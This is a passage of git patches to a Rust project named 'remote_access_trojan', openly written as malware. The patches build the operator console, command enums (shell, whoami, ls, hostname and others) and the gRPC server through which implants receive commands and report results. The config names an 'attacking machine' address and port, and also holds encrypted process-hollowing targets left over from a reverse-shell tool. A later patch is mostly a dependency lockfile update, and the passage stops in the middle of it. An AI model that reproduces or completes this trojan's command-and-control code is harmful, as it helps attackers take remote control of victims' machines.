.add_service(AskForInstructionsServer::new(MyAskForInstructions::default())) .add_service(RecordCommandResultServer::new(MyRecordCommandResult::default())) + .add_service(ScheduleCommandServer::new(MyScheduleCommand::default())) .serve(socket) .await?; From 196eccfca953c6f0e90cbea01d394d7873efb637 Mon Sep 17 00:00:00 2001 From: koins Date: Sat, 26 Feb 2022 20:58:51 -0800 Subject: [PATCH 24/33] its hacky but i think its actually the best solution --- remote_access_trojan/src/lib.rs | 50 ++++++++++++++++++++++++++++++ remote_access_trojan/src/server.rs | 35 ++------------------- 2 files changed, 53 insertions(+), 32 deletions(-) diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index e3b6d29..16a6368 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -1,3 +1,53 @@ pub mod rat { tonic::include_proto!("rat"); +} + +// Hacky copy of the protobuf in rat.rs +pub enum RsRatCommand { + Cadence = 0, + Dir = 1, + Hostname = 2, + Ip = 3, + Ls = 4, + None = 5, + Os = 6, + Quit = 7, + Shell = 8, + Whoami = 9, +} + +// Way to convert the hacky copy of the protobuf to a string slice +impl From for &str { + fn from(rat_command: RsRatCommand) -> Self { + match rat_command { + RsRatCommand::Cadence => "cadence", + RsRatCommand::Dir => "dir", + RsRatCommand::Hostname => "hostname", + RsRatCommand::Ip => "ip", + RsRatCommand::Ls => "ls", + RsRatCommand::None => "none", + RsRatCommand::Os => "os", + RsRatCommand::Quit => "quit", + RsRatCommand::Shell => "shell", + RsRatCommand::Whoami => "whoami", + } + } +} + +// Way to convert from an i32 into the hacky copy of the protobuf +impl From for RsRatCommand { + fn from(number: i32) -> Self { + match number { + 0 => RsRatCommand::Cadence, + 1 => RsRatCommand::Dir, + 2 => RsRatCommand::Hostname, + 3 => RsRatCommand::Ip, + 4 => RsRatCommand::Ls, + 6 => RsRatCommand::Os, + 7 => RsRatCommand::Quit, + 8 => RsRatCommand::Shell, + 9 => RsRatCommand::Whoami, + _ => RsRatCommand::None + } + } } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 92fff91..0f4e393 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -3,6 +3,7 @@ use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer}; use remote_access_trojan::rat::{Beacon, Empty, CommandRequest, CommandResponse}; +use remote_access_trojan::RsRatCommand; use std::collections::HashMap; use std::convert::From; use std::fs::OpenOptions; @@ -23,36 +24,6 @@ TODO - alternate communication method(s) between implant and server */ -// Create a wrapper for RatCommand so I can implement a formatter -#[derive(Debug)] -struct FormattableRatCommand<'a>(&'a str); - -impl From for &FormattableRatCommand<'_> { - fn from(rat_command: RatCommand) -> Self { - match rat_command { - RatCommand::Cadence => &FormattableRatCommand("cadence"), - RatCommand::Dir => &FormattableRatCommand("dir"), - RatCommand::Hostname => &FormattableRatCommand("hostname"), - RatCommand::Ip => &FormattableRatCommand("ip"), - RatCommand::Ls => &FormattableRatCommand("ls"), - RatCommand::None => &FormattableRatCommand("none"), - RatCommand::Os => &FormattableRatCommand("os"), - RatCommand::Quit => &FormattableRatCommand("quit"), - RatCommand::Shell => &FormattableRatCommand("shell"), - RatCommand::Whoami => &FormattableRatCommand("whoami"), - } - } -} - -// Convert a RatCommand enum variant to the string that the operator typed -fn pretty_print_command(command: RatCommand) -> String { - let command: &FormattableRatCommand = command.into(); - let command = format!("{command:?}"); - let command: Vec<&str> = command.split(&['(', ')']) - .collect(); - command[1].trim_matches(|s| s == '"').to_lowercase() -} - #[derive(Default)] pub struct MyAskForInstructions {} @@ -81,7 +52,7 @@ impl AskForInstructions for MyAskForInstructions { Ok(Response::new( CommandRequest { command: RatCommand::try_into(RatCommand::None).unwrap(), - arguments:String::from("") + arguments: String::from("") } )) } @@ -98,7 +69,7 @@ impl RecordCommandResult for MyRecordCommandResult { let request = request.into_inner(); let implant_id = request.implant_id; let timestamp = request.timestamp; - let command = pretty_print_command(RatCommand::from_i32(request.command).unwrap()); + let command: &str = RsRatCommand::from(request.command).into(); let arguments = request.arguments; let result = request.result; // Determine where the result should be written based on the implant ID From de3fce970bcf1feb1c2253f59fa5aea88d3342b0 Mon Sep 17 00:00:00 2001 From: koins Date: Sat, 26 Feb 2022 21:46:16 -0800 Subject: [PATCH 25/33] rat gets its own config, which would eventually be needed later anyway. also operator work started --- rco_config/src/lib.rs | 11 ++++++++++- remote_access_trojan/src/implant.rs | 4 ++-- remote_access_trojan/src/operator.rs | 6 ++++++ remote_access_trojan/src/server.rs | 2 +- 4 files changed, 19 insertions(+), 4 deletions(-) diff --git a/rco_config/src/lib.rs b/rco_config/src/lib.rs index 292f6e3..7961390 100644 --- a/rco_config/src/lib.rs +++ b/rco_config/src/lib.rs @@ -1,5 +1,5 @@ /* - For tcp_reverse_shell OR remote_access_trojan + For tcp_reverse_shell */ // IP address of the attacking machine @@ -44,3 +44,12 @@ pub const ENCRYPTED_LINUX_MIGRATION_TARGET: &[u8] = &[0x60, 0x61, 0x73, 0x6d, 0x pub const ENCRYPTED_WINDOWS_HOLLOWING_TARGET: &[u8] = &[0x42, 0x38, 0x5f, 0x53, 0x6c, 0x6f, 0x66, 0x6c, 0x73, 0x76, 0x5d, 0x51, 0x7a, 0x77, 0x71, 0x64, 0x6f, 0x30, 0x36, 0x59, 0x72, 0x74, 0x60, 0x6c, 0x6a, 0x72, 0x76, 0x2d, 0x61, 0x7d, 0x64]; // Linux process to hollow (using a full path is advised) pub const ENCRYPTED_LINUX_HOLLOWING_TARGET: &[u8] = &[0x2e, 0x60, 0x6a, 0x6a, 0x2a, 0x62, 0x77, 0x71, 0x68]; + +/* + For remote_access_trojan +*/ + +// IP address of the attacking machine +pub const RAT_SERVER_LOCATION: &str = "127.0.0.1"; +// Port the attacking machine is listening on +pub const RAT_SERVER_PORT: u16 = 4444; \ No newline at end of file diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index 0884fe3..ede1acc 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -141,8 +141,8 @@ async fn main() -> Result<(), Box> { let mut state = ImplantState { implant_id: generate_implant_id(), cadence: Duration::from_millis(10000), - server_location: String::from(rco_config::LISTENER_IP), - server_port: rco_config::LISTENER_PORT, + server_location: String::from(rco_config::RAT_SERVER_LOCATION), + server_port: rco_config::RAT_SERVER_PORT, command_number: 0 }; diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs index 17049c4..30c5f66 100644 --- a/remote_access_trojan/src/operator.rs +++ b/remote_access_trojan/src/operator.rs @@ -1,3 +1,4 @@ +use std::io::{stdin, stdout, Write}; use tonic::transport::Endpoint; /* @@ -8,4 +9,9 @@ TODO fn main() { println!("operator"); + print!("Command > "); + stdout().flush().unwrap(); + let mut line = String::new(); + let input = stdin().read_line(&mut line).unwrap(); + println!("You said {line}"); } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 0f4e393..0d350c9 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -151,7 +151,7 @@ impl ScheduleCommand for MyScheduleCommand { #[tokio::main] async fn main() -> Result<(), Box> { // Set up the server parameters - let port = rco_config::LISTENER_PORT; + let port = rco_config::RAT_SERVER_PORT; let socket = format!("127.0.0.1:{port}").parse()?; // Stand up the server and run it From ee34b636cd2cb09b46054fef074d7bfb79c187e4 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 4 Mar 2022 20:55:16 -0800 Subject: [PATCH 26/33] little lost, need to think --- remote_access_trojan/src/lib.rs | 30 ++++++++++++------------ remote_access_trojan/src/operator.rs | 34 +++++++++++++++++++++++----- remote_access_trojan/src/server.rs | 4 ++-- 3 files changed, 46 insertions(+), 22 deletions(-) diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index 16a6368..a571c00 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -1,3 +1,5 @@ +use crate::rat::RatCommand; + pub mod rat { tonic::include_proto!("rat"); } @@ -34,20 +36,20 @@ impl From for &str { } } -// Way to convert from an i32 into the hacky copy of the protobuf -impl From for RsRatCommand { - fn from(number: i32) -> Self { - match number { - 0 => RsRatCommand::Cadence, - 1 => RsRatCommand::Dir, - 2 => RsRatCommand::Hostname, - 3 => RsRatCommand::Ip, - 4 => RsRatCommand::Ls, - 6 => RsRatCommand::Os, - 7 => RsRatCommand::Quit, - 8 => RsRatCommand::Shell, - 9 => RsRatCommand::Whoami, - _ => RsRatCommand::None +// Way to convert from the protobuf enum into the hacky copy of the protobuf +impl From for RsRatCommand { + fn from(command: RatCommand) -> Self { + match command { + RatCommand::Cadence => RsRatCommand::Cadence, + RatCommand::Dir => RsRatCommand::Dir, + RatCommand::Hostname => RsRatCommand::Hostname, + RatCommand::Ip => RsRatCommand::Ip, + RatCommand::Ls => RsRatCommand::Ls, + RatCommand::None => RsRatCommand::None, + RatCommand::Os => RsRatCommand::Os, + RatCommand::Quit => RsRatCommand::Quit, + RatCommand::Shell => RsRatCommand::Shell, + RatCommand::Whoami => RsRatCommand::Whoami, } } } \ No newline at end of file diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs index 30c5f66..176307c 100644 --- a/remote_access_trojan/src/operator.rs +++ b/remote_access_trojan/src/operator.rs @@ -1,3 +1,5 @@ +use remote_access_trojan::rat::CommandRequest; +use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient; use std::io::{stdin, stdout, Write}; use tonic::transport::Endpoint; @@ -7,11 +9,31 @@ TODO - encrypt traffic from operator to server */ -fn main() { +#[tokio::main] +async fn main() -> Result<(), Box> { println!("operator"); - print!("Command > "); - stdout().flush().unwrap(); - let mut line = String::new(); - let input = stdin().read_line(&mut line).unwrap(); - println!("You said {line}"); + // Set up connection to server + let location = rco_config::RAT_SERVER_LOCATION; + let port = rco_config::RAT_SERVER_PORT; + let socket = format!("http://{location}:{port}"); + let channel = Endpoint::from_shared(socket.clone())? + .connect() + .await?; + // Prepare a client for beaconing + let mut ask_client = ScheduleCommandClient::new(channel.clone()); + loop { + print!("Command > "); + stdout().flush().unwrap(); + let mut line = String::new(); + let input = stdin().read_line(&mut line).unwrap(); + println!("You said {line}"); + let result = tonic::Request::new( + CommandRequest { + command: input as i32, + arguments: "".to_string() + }, + ); + } + + Ok(()) } \ No newline at end of file diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index 0d350c9..f29a5c5 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -69,7 +69,7 @@ impl RecordCommandResult for MyRecordCommandResult { let request = request.into_inner(); let implant_id = request.implant_id; let timestamp = request.timestamp; - let command: &str = RsRatCommand::from(request.command).into(); + let command: &str = RsRatCommand::from(RatCommand::from_i32(request.command).unwrap()).into(); let arguments = request.arguments; let result = request.result; // Determine where the result should be written based on the implant ID @@ -103,7 +103,7 @@ impl ScheduleCommand for MyScheduleCommand { // Get the request from the operator and figure out what to do with it let command = OperatorCommand::from_i32(request.into_inner().command).unwrap(); // Run the applicable command - let command_result = match command { + let _command_result = match command { OperatorCommand::OpCadence => { // Passthrough }, From cf934c84d8bbc9dc42ea5247c40524a76b49fa23 Mon Sep 17 00:00:00 2001 From: koins Date: Fri, 4 Mar 2022 21:03:10 -0800 Subject: [PATCH 27/33] newline --- remote_access_trojan/src/lib.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index a571c00..dd51fe7 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -52,4 +52,4 @@ impl From for RsRatCommand { RatCommand::Whoami => RsRatCommand::Whoami, } } -} \ No newline at end of file +} From 82134a7c6e497dbf17cb2ccf66cafa94dd5a549d Mon Sep 17 00:00:00 2001 From: koins Date: Tue, 8 Mar 2022 13:49:03 -0800 Subject: [PATCH 28/33] i think this is as far as i can go without the state of a db --- remote_access_trojan/rat.proto | 32 ++++++++++----- remote_access_trojan/src/lib.rs | 61 +++++++++++++++++++++++++++- remote_access_trojan/src/operator.rs | 44 ++++++++++++++++---- remote_access_trojan/src/server.rs | 17 +++++--- 4 files changed, 129 insertions(+), 25 deletions(-) diff --git a/remote_access_trojan/rat.proto b/remote_access_trojan/rat.proto index bf159f9..e092d30 100644 --- a/remote_access_trojan/rat.proto +++ b/remote_access_trojan/rat.proto @@ -11,23 +11,24 @@ service RecordCommandResult { } service ScheduleCommand { - rpc Send (CommandRequest) returns (Empty); + rpc Send (OperatorRequest) returns (OperatorResponse); } // Enum variants have to be globally unique apparently, so prepending an "Op" in front of these ones enum OperatorCommand { OpCadence = 0; OpDir = 1; - OpImplants = 2; - OpHelp = 3; - OpHostname = 4; - OpIp = 5; - OpLs = 6; - OpOs = 7; - OpQuit = 8; - OpRetrieve = 9; - OpShell = 10; - OpWhoami = 11; + OpHostname = 2; + OpIp = 3; + OpLs = 4; + OpOs = 5; + OpNone = 6; + OpQuit = 7; + OpShell = 8; + OpWhoami = 9; + OpImplants = 10; + OpHelp = 11; + OpRetrieve = 12; } enum RATCommand { @@ -60,4 +61,13 @@ message CommandResponse { string result = 5; } +message OperatorRequest { + OperatorCommand command = 1; + string arguments = 2; +} + +message OperatorResponse { + string data = 1; +} + message Empty {} \ No newline at end of file diff --git a/remote_access_trojan/src/lib.rs b/remote_access_trojan/src/lib.rs index dd51fe7..58e7064 100644 --- a/remote_access_trojan/src/lib.rs +++ b/remote_access_trojan/src/lib.rs @@ -1,4 +1,4 @@ -use crate::rat::RatCommand; +use crate::rat::{OperatorCommand, RatCommand}; pub mod rat { tonic::include_proto!("rat"); @@ -53,3 +53,62 @@ impl From for RsRatCommand { } } } + +// Hacky copy of different protobuf in rat.rs +pub enum RsOperatorCommand { + OpCadence = 0, + OpDir = 1, + OpHostname = 2, + OpIp = 3, + OpLs = 4, + OpNone = 5, + OpOs = 6, + OpQuit = 7, + OpShell = 8, + OpWhoami = 9, + OpImplants = 10, + OpHelp = 11, + OpRetrieve = 12, +} + +// Way to convert a string slice to the second hacky protobuf copy +impl Into for RsOperatorCommand { + fn into(self) -> OperatorCommand { + match self { + RsOperatorCommand::OpCadence => OperatorCommand::OpCadence, + RsOperatorCommand::OpDir => OperatorCommand::OpDir, + RsOperatorCommand::OpHostname => OperatorCommand::OpHostname, + RsOperatorCommand::OpIp => OperatorCommand::OpIp, + RsOperatorCommand::OpLs => OperatorCommand::OpLs, + RsOperatorCommand::OpOs => OperatorCommand::OpOs, + RsOperatorCommand::OpQuit => OperatorCommand::OpQuit, + RsOperatorCommand::OpShell => OperatorCommand::OpShell, + RsOperatorCommand::OpWhoami => OperatorCommand::OpWhoami, + RsOperatorCommand::OpImplants => OperatorCommand::OpImplants, + RsOperatorCommand::OpHelp => OperatorCommand::OpHelp, + RsOperatorCommand::OpRetrieve => OperatorCommand::OpRetrieve, + RsOperatorCommand::OpNone => OperatorCommand::OpNone, + } + } +} + +// Way to convert a second hacky protobuf copy to the actual protobuf +impl From<&str > for RsOperatorCommand { + fn from(in_slice: &str) -> Self { + match in_slice { + "cadence" => RsOperatorCommand::OpCadence, + "dir" => RsOperatorCommand::OpDir, + "hostname" => RsOperatorCommand::OpHostname, + "ip" => RsOperatorCommand::OpIp, + "ls" => RsOperatorCommand::OpLs, + "os" => RsOperatorCommand::OpOs, + "quit" => RsOperatorCommand::OpQuit, + "shell" => RsOperatorCommand::OpShell, + "whoami" => RsOperatorCommand::OpWhoami, + "implants" => RsOperatorCommand::OpImplants, + "help" => RsOperatorCommand::OpHelp, + "retrieve" => RsOperatorCommand::OpRetrieve, + _ => RsOperatorCommand::OpNone, + } + } +} \ No newline at end of file diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs index 176307c..7cdf722 100644 --- a/remote_access_trojan/src/operator.rs +++ b/remote_access_trojan/src/operator.rs @@ -1,4 +1,5 @@ -use remote_access_trojan::rat::CommandRequest; +use remote_access_trojan::RsOperatorCommand; +use remote_access_trojan::rat::{OperatorCommand, OperatorRequest}; use remote_access_trojan::rat::schedule_command_client::ScheduleCommandClient; use std::io::{stdin, stdout, Write}; use tonic::transport::Endpoint; @@ -20,19 +21,46 @@ async fn main() -> Result<(), Box> { .connect() .await?; // Prepare a client for beaconing - let mut ask_client = ScheduleCommandClient::new(channel.clone()); + let mut schedule_client = ScheduleCommandClient::new(channel.clone()); loop { print!("Command > "); stdout().flush().unwrap(); let mut line = String::new(); - let input = stdin().read_line(&mut line).unwrap(); - println!("You said {line}"); - let result = tonic::Request::new( - CommandRequest { - command: input as i32, - arguments: "".to_string() + stdin().read_line(&mut line).unwrap(); + let split_line: Vec<&str> = line.split(" ").collect(); + let (command, arguments) = match split_line.len() { + 0 => continue, + 1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()), + _ => (RsOperatorCommand::from(split_line[0].trim()).into(), split_line[1].trim().to_string()), + }; + match command { + OperatorCommand::OpNone => continue, + OperatorCommand::OpQuit => break, + OperatorCommand::OpHelp => { + println!("Valid commands:"); + println!("\tcadence "); + println!("\tdir"); + println!("\thostname"); + println!("\thelp"); + println!("\timplants"); + println!("\tip"); + println!("\tls"); + println!("\tos"); + println!("\tquit"); + println!("\tretrieve "); + println!("\tshell"); + println!("\twhoami"); + continue + }, + _ => () + } + let request= tonic::Request::new( + OperatorRequest { + command: OperatorCommand::try_into(command).unwrap(), + arguments: arguments }, ); + let _response = schedule_client.send(request).await?.into_inner(); } Ok(()) diff --git a/remote_access_trojan/src/server.rs b/remote_access_trojan/src/server.rs index f29a5c5..4f121b7 100644 --- a/remote_access_trojan/src/server.rs +++ b/remote_access_trojan/src/server.rs @@ -1,4 +1,4 @@ -use remote_access_trojan::rat::{OperatorCommand, RatCommand}; +use remote_access_trojan::rat::{OperatorCommand, OperatorRequest, OperatorResponse, RatCommand}; use remote_access_trojan::rat::ask_for_instructions_server::{AskForInstructions, AskForInstructionsServer}; use remote_access_trojan::rat::record_command_result_server::{RecordCommandResult, RecordCommandResultServer}; use remote_access_trojan::rat::schedule_command_server::{ScheduleCommand, ScheduleCommandServer}; @@ -99,13 +99,15 @@ pub struct MyScheduleCommand {} #[tonic::async_trait] impl ScheduleCommand for MyScheduleCommand { - async fn send(&self, request: Request) -> Result, Status> { + async fn send(&self, request: Request) -> Result, Status> { // Get the request from the operator and figure out what to do with it - let command = OperatorCommand::from_i32(request.into_inner().command).unwrap(); + let inner = request.into_inner(); + let command = OperatorCommand::from_i32(inner.command).unwrap(); + let arguments = inner.arguments; // Run the applicable command let _command_result = match command { OperatorCommand::OpCadence => { - // Passthrough + println!("got a cadence {arguments}!") }, OperatorCommand::OpDir => { // Passthrough @@ -140,10 +142,15 @@ impl ScheduleCommand for MyScheduleCommand { OperatorCommand::OpWhoami => { // Passthrough } + _ => { + // I think this isn't possible? + } }; // Respond to the implant basically say 'done' Ok(Response::new( - Empty {} + OperatorResponse { + data: "yup".to_string() + } )) } } From 8a6a3a6347e2157df8e3ba1d899a8c93054c88db Mon Sep 17 00:00:00 2001 From: koins Date: Wed, 6 Apr 2022 23:15:14 -0700 Subject: [PATCH 29/33] clippy suggestions --- remote_access_trojan/src/implant.rs | 2 +- remote_access_trojan/src/operator.rs | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/remote_access_trojan/src/implant.rs b/remote_access_trojan/src/implant.rs index ede1acc..ba24775 100644 --- a/remote_access_trojan/src/implant.rs +++ b/remote_access_trojan/src/implant.rs @@ -48,7 +48,7 @@ fn get_ip_address() -> String { .output() .unwrap(); let ip_address = String::from_utf8(ip_address.stdout).unwrap(); - let ip_address: Vec<&str> = ip_address.split(":").collect(); + let ip_address: Vec<&str> = ip_address.split(':').collect(); let ip_address = ip_address[1].trim(); ip_address.to_string() } diff --git a/remote_access_trojan/src/operator.rs b/remote_access_trojan/src/operator.rs index 7cdf722..7c994d5 100644 --- a/remote_access_trojan/src/operator.rs +++ b/remote_access_trojan/src/operator.rs @@ -27,7 +27,7 @@ async fn main() -> Result<(), Box> { stdout().flush().unwrap(); let mut line = String::new(); stdin().read_line(&mut line).unwrap(); - let split_line: Vec<&str> = line.split(" ").collect(); + let split_line: Vec<&str> = line.split(' ').collect(); let (command, arguments) = match split_line.len() { 0 => continue, 1 => (RsOperatorCommand::from(split_line[0].trim()).into(), "".to_string()), @@ -57,7 +57,7 @@ async fn main() -> Result<(), Box> { let request= tonic::Request::new( OperatorRequest { command: OperatorCommand::try_into(command).unwrap(), - arguments: arguments + arguments }, ); let _response = schedule_client.send(request).await?.into_inner(); From 30a97dfef9b2d968da5d9518d5feaf58f6951c3d Mon Sep 17 00:00:00 2001 From: koins Date: Sat, 9 Apr 2022 23:05:40 -0700 Subject: [PATCH 30/33] got clippy off my back --- Cargo.lock | 286 +++++++++++++++++++++----------- remote_access_trojan/src/lib.rs | 8 +- 2 files changed, 191 insertions(+), 103 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 2d1467b..8ddb4f3 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -2,26 +2,17 @@ # It is not intended for manual editing. version = 3 -[[package]] -name = "aho-corasick" -version = "0.7.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f" -dependencies = [ - "memchr", -] - [[package]] name = "anyhow" -version = "1.0.55" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "159bb86af3a200e19a068f4224eae4c8bb2d0fa054c7e5d1cacd5cef95e684cd" +checksum = "4361135be9122e0870de935d7c439aef945b9f9ddd4199a553b5270b49c82a27" [[package]] name = "async-stream" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "171374e7e3b2504e0e5236e3b59260560f9fe94bfe9ac39ba5e4e929c5590625" +checksum = "dad5c83079eae9969be7fadefe640a1c566901f05ff91ab221de4b6f68d9507e" dependencies = [ "async-stream-impl", "futures-core", @@ -29,9 +20,9 @@ dependencies = [ [[package]] name = "async-stream-impl" -version = "0.3.2" +version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "648ed8c8d2ce5409ccd57453d9d1b214b342a0d69376a6feda1fd6cae3299308" +checksum = "10f203db73a71dfa2fb6dd22763990fa26f3d2625a6da2da900d23b87d26be27" dependencies = [ "proc-macro2", "quote", @@ -40,9 +31,9 @@ dependencies = [ [[package]] name = "async-trait" -version = "0.1.52" +version = "0.1.53" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "061a7acccaa286c011ddc30970520b98fa40e00c9d644633fb26b5fc63a265e3" +checksum = "ed6aa3524a2dfcf9fe180c51eae2b58738348d819517ceadf95789c51fff7600" dependencies = [ "proc-macro2", "quote", @@ -55,6 +46,49 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" +[[package]] +name = "axum" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47594e438a243791dba58124b6669561f5baa14cb12046641d8008bf035e5a25" +dependencies = [ + "async-trait", + "axum-core", + "bitflags", + "bytes", + "futures-util", + "http", + "http-body", + "hyper", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "serde", + "sync_wrapper", + "tokio", + "tower", + "tower-http", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a671c9ae99531afdd5d3ee8340b8da547779430689947144c140fc74a740244" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "mime", +] + [[package]] name = "base64" version = "0.13.0" @@ -85,6 +119,15 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "cmake" +version = "0.1.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8ad8cef104ac57b68b89df3208164d228503abbdce70f6880ffa3d970e7443a" +dependencies = [ + "cc", +] + [[package]] name = "either" version = "1.6.1" @@ -153,20 +196,20 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.5" +version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d39cd93900197114fa1fcb7ae84ca742095eed9442088988ae74fa744e930e77" +checksum = "9be70c98951c83b8d2f8f60d7065fa6d5146873094452a1008da8c2f1e4205ad" dependencies = [ "cfg-if", "libc", - "wasi", + "wasi 0.10.2+wasi-snapshot-preview1", ] [[package]] name = "h2" -version = "0.3.11" +version = "0.3.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d9f1f717ddc7b2ba36df7e871fd88db79326551d3d6f1fc406fbfd28b582ff8e" +checksum = "37a82c6d637fc9515a4694bbf1cb2457b79d81ce52b3108bdeea58b07dd34a57" dependencies = [ "bytes", "fnv", @@ -177,7 +220,7 @@ dependencies = [ "indexmap", "slab", "tokio", - "tokio-util 0.6.9", + "tokio-util", "tracing", ] @@ -189,12 +232,9 @@ checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e" [[package]] name = "heck" -version = "0.3.3" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" -dependencies = [ - "unicode-segmentation", -] +checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9" [[package]] name = "hermit-abi" @@ -227,6 +267,12 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "http-range-header" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bfe8eed0a9285ef776bb792479ea3834e8b94e13d615c2f66d03dd50a435a29" + [[package]] name = "httparse" version = "1.6.0" @@ -241,9 +287,9 @@ checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" [[package]] name = "hyper" -version = "0.14.17" +version = "0.14.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "043f0e083e9901b6cc658a77d1eb86f4fc650bbb977a4337dd63192826aa85dd" +checksum = "b26ae0a80afebe130861d90abf98e3814a4f28a4c6ffeb5ab8ebb2be311e0ef2" dependencies = [ "bytes", "futures-channel", @@ -277,9 +323,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "1.8.0" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "282a6247722caba404c065016bbfa522806e51714c34f5dfc3e4a3a46fcb4223" +checksum = "0f647032dfaa1f8b6dc29bd3edb7bbef4861b8b8007ebb118d6db284fd59f6ee" dependencies = [ "autocfg", "hashbrown", @@ -323,13 +369,19 @@ checksum = "ec647867e2bf0772e28c8bcde4f0d19a9216916e890543b5a03ed8ef27b8f259" [[package]] name = "log" -version = "0.4.14" +version = "0.4.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710" +checksum = "6389c490849ff5bc16be905ae24bc913a9c8892e19b2341dbc175e14c341c2b8" dependencies = [ "cfg-if", ] +[[package]] +name = "matchit" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73cbba799671b762df5a175adf59ce145165747bb891505c43d09aefbbf38beb" + [[package]] name = "memchr" version = "2.4.1" @@ -346,15 +398,22 @@ dependencies = [ ] [[package]] -name = "mio" -version = "0.8.0" +name = "mime" +version = "0.3.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ba272f85fa0b41fc91872be579b3bbe0f56b792aa361a380eb669469f68dafb2" +checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" + +[[package]] +name = "mio" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52da4364ffb0e4fe33a9841a98a3f3014fb964045ce4f7a45a398243c8d6b0c9" dependencies = [ "libc", "log", "miow", "ntapi", + "wasi 0.11.0+wasi-snapshot-preview1", "winapi", ] @@ -460,10 +519,20 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" [[package]] -name = "proc-macro2" -version = "1.0.36" +name = "prettyplease" +version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7342d5883fbccae1cc37a2353b09c87c9b0f3afd73f5fb9bba687a1f733b029" +checksum = "3b83ec2d0af5c5c556257ff52c9f98934e243b9fd39604bfb2a9b75ec2e97f18" +dependencies = [ + "proc-macro2", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec757218438d5fda206afc041538b2f6d889286160d649a86a24d37e1235afd1" dependencies = [ "unicode-xid", ] @@ -490,9 +559,9 @@ dependencies = [ [[package]] name = "prost" -version = "0.9.0" +version = "0.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "444879275cb4fd84958b1a1d5420d15e6fcf7c235fe47f053c9c2a80aceb6001" +checksum = 